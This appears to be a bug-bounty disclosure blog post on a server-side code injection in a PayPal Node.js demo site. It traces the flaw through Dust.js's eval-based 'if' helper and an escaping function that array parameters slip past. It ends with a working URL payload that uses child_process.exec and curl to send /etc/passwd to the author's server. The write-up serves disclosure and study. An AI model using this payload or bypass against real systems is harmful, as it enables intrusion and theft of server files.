From error messages I found out that PayPal Node.js application uses Dust.js javascript templating engine on server-side, so I decided to take a look. After looking at its source code on github, I figured out that the problem is connected with using "if" dust.js helpers.
The old version of Dust.js supports "if" helpers, you can use them in your code like that:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{@if cond="'{device}' == 'desktop'"} | |
<div> Desktop version </div> | |
{:else} | |
<div> Mobile version </div> | |
{/if} |
https://github.com/linkedin/dustjs-helpers/blob/03cd65f51a6983ae25143bfd6533b2eef6f3f63b/lib/dust-helpers.js#L215
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"if": function( chunk, context, bodies, params ){ | |
var body = bodies.block, | |
skip = bodies['else']; | |
if( params && params.cond){ | |
var cond = params.cond; | |
cond = dust.helpers.tap(cond, chunk, context); | |
// eval expressions with given dust references | |
if(eval(cond)){ | |
if(body) { | |
return chunk.render( bodies.block, context ); | |
} | |
else { | |
_log("Missing body block in the if helper!"); | |
return chunk; | |
} | |
} |
So when I send a request to http://_demo.paypal.com/demo/navigation?device=xxx\ application is trying to evaluate the following javascript expression:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
eval("'xxx\' == 'desktop'"); |
Does that mean that user supplied input comes to eval() directly? Not actually, the application performed replacement for several dangerous characters like single quote (') and double quote (") with html encoding (' -> '), so we cannot directly close the string and execute arbitrary javascript code. But let's look closer at the function that makes this replacement:
https://github.com/linkedin/dustjs/blob/c20e70edb2041a66067a010bdefbf9fe3267c7ab/lib/dust.js#L846
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var HCHARS = /[&<>"']/, | |
AMP = /&/g, | |
LT = /</g, | |
GT = />/g, | |
QUOT = /\"/g, | |
SQUOT = /\'/g; | |
dust.escapeHtml = function(s) { | |
if (typeof s === 'string') { | |
if (!HCHARS.test(s)) { | |
return s; | |
} | |
return s.replace(AMP,'&').replace(LT,'<').replace(GT,'>').replace(QUOT,'"').replace(SQUOT, '''); | |
} | |
return s; | |
}; |
I quickly made a request to https://_demo.paypal.com/demo/navigation?device[]=&device[]=' and when the server responded with 'syntax error' my chair started to shake under me.
I am a bit friendly with Node.js, so it took me few minutes to craft a test payload that sends '/etc/passwd' file to my server.
https://_demo.paypal.com/demo/navigation?device[]=x&device[]=y'-require('child_process').exec('curl+-F+"x=`cat+/etc/passwd`"+artsploit.com')-'
This string was worth $10.000 for me.